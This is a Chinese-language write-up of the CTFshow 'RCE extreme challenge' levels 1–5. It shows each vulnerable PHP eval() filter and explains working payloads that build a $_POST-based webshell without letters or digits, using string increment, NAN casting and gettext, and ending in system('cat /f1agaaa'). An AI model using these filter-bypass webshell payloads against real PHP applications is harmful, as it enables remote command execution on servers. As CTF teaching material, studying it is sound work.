CTFshow-RCE极限大挑战
RCE1
题目代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);
?>
利用post发送,payload:
code=echo `$_POST[1]`;&1=cat /f*
RCE2
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
禁用了字母数字和很多符号,可以用的符号有'[]()$_;+
,可以确定是按照自增的方式来构造webshell进行RCE,payload构造过程:
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$____='_';//_
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//P
$____.=$__;//_P
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//O
$____.=$__;//_PO
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S
$____.=$__;//_POS
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//T
$____.=$__;//_POST
$_=$____;//_POST
$$_[__]($$_[_]);//$_POST[__]($_POST[_]);
?>
应该有部分人跟我一样,刚开始看这个东西是一脸懵,不知道是什么,我在这来详细解释一下
所有的$_
以及类似的东西都是变量名称,在构造payload的过程就就是起到一个变量名的作用,类似于$a、$b,在然后在php中,如果强制连接数组和字符串的话,数组将被转换成字符串,例如在下列代码中
<?php
$a='';
$a = $a.[];
var_dump($a);
?>
$a为一个空格字符,在经过连接后接入了一个数组[],即使这个数组里面什么也没有,但是在执行之后我们依然可以得到
于是利用这一点,我们可以得出Array中的第一个字母A,然后利用自增来得到POST
所以我们可以得到初始payload:
ctf_show=$_=[].'';$_=$_[''=='$'];$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$____;$$_[__]($$_[_]);&__=system&_=cat /f1agaaa
经过url转码得到payload:
ctf_show=%24%5F%3D%5B%5D%2E%27%27%3B%24%5F%3D%24%5F%5B%27%27%3D%3D%27%24%27%5D%3B%24%5F%5F%5F%5F%3D%27%5F%27%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%3D%24%5F%5F%5F%5F%3B%24%24%5F%5B%5F%5F%5D%28%24%24%5F%5B%5F%5D%29%3B&__=system&_=cat /f1agaaa
RCE3
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
开始限制长度了,105字符,但是可以用数字0或者1,那么就可以通过(0/0)来构造float型的NAN,(1/0)来构造float型的INF,然后转换成字符串型,得到"NAN"和"INF"中的字符了,payload构造过程,这里直觉上认为构造_GET
更简单,但是实际上目前可以用的字符当中,只有N离T最近,而从N开始自增构造T的时候,会经过OPQRS,所以其实构造_GET
的同时,已经把_POST
构造出来了,相当于白构造了GE
:
<?php
$a=(0/0);//NAN
$a.=_;//NAN_
$a=$a[0];//N
$a++;//O
$o=$a++;//$o=$a++是先把$a的值给$o,然后再对$a进行自增,所以这一句结束的时候 $a是P,$o是O
$p=$a++;//$a=>Q,$p=>P
$a++;$a++;//R
$s=$a++;//S
$t=$a;//T
$_=_;//_
$_.=$p.$o.$s.$t;//_POST
$$_[0]($$_[1]);//$_POST[0]($_POST[1]);
payload:
ctf_show=$%ff=(0/0);$%ff.=_;$%ff=$%ff[0];$%ff%2b%2b;$%fd=$%ff%2b%2b;$%fe=$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$%fc=$%ff%2b%2b;$%fb=$%ff;$_=_;$_.=$%fe.$%fd.$%fc.$%fb;$$_[0]($$_[1]);&0=system&1=cat /f1agaaa
RCE4
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
84字符,只可以用数字0,那么不影响我们使用(0/0)来构造NAN, 但是更为优秀的写法可以是$a=(_/_._)[0];
直接得到字母N,payload构造过程:
<?php
$a=(_/_._)[0];//直接拼接成字符串并切片
$o=++$a;//$o=++$a是先把$a进行自增,自增完成之后再将值返回,也就是这一句结束的时候 $a和$o都是O
$o=++$a.$o;//$o=>PO,$a=>P
$a++;//Q
$a++;//R
$o.=++$a;//$o=>POS,$a=>S
$o.=++$a;//$o=>POST,$a=>T
$_=_.$o;//_POST
$$_[0]($$_[_]);//$_POST[0]($_POST[_]);
详细解释一下$a=(__/_._)[0]
$a=(_/_._)[0];
_/_ 就是除法,得出来就是NAN,效果等同于(0/0)
._是使NAN后拼接一个_,是其变成字符串NAN_ //在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串
于是$a=(_/_._)[0]=N
构造payload:
ctf_show=$%ff=(_/_._)[0];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[0]($$_[_]);&0=system&_=cat /f1agaaa
RCE5
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
限制73个字符,而且0也不可以用了,但是这里观察到phpinfo安装了一个扩展gettext,该扩展支持函数_()
,相当于gettext()
,直接转化为字符串。另外,其实数组下标使用未定义常量,php会warning,但是可以继续运行,并返回下标为0的字符(现象是这样但是实际机制需要看php源码)。其余知识点上面都已经讲过了,剩下的就是靠经验和积累对payload进行精简,下面是payload构造过程:
<?php
$a=_(a/a)[a];//相当于gettext(0/0)[0],得到N
$_=++$a;//O
$_=_.++$a.$_;//_PO
$a++;$a++;//R
$_.=++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])
然后常规的替换成不可见字符变量名称,得到payload:
ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f1agaaa
本文主要参考了官方wp,本文只是对其进行补充和个人总结:
CTFshow-RCE极限大挑战官方wp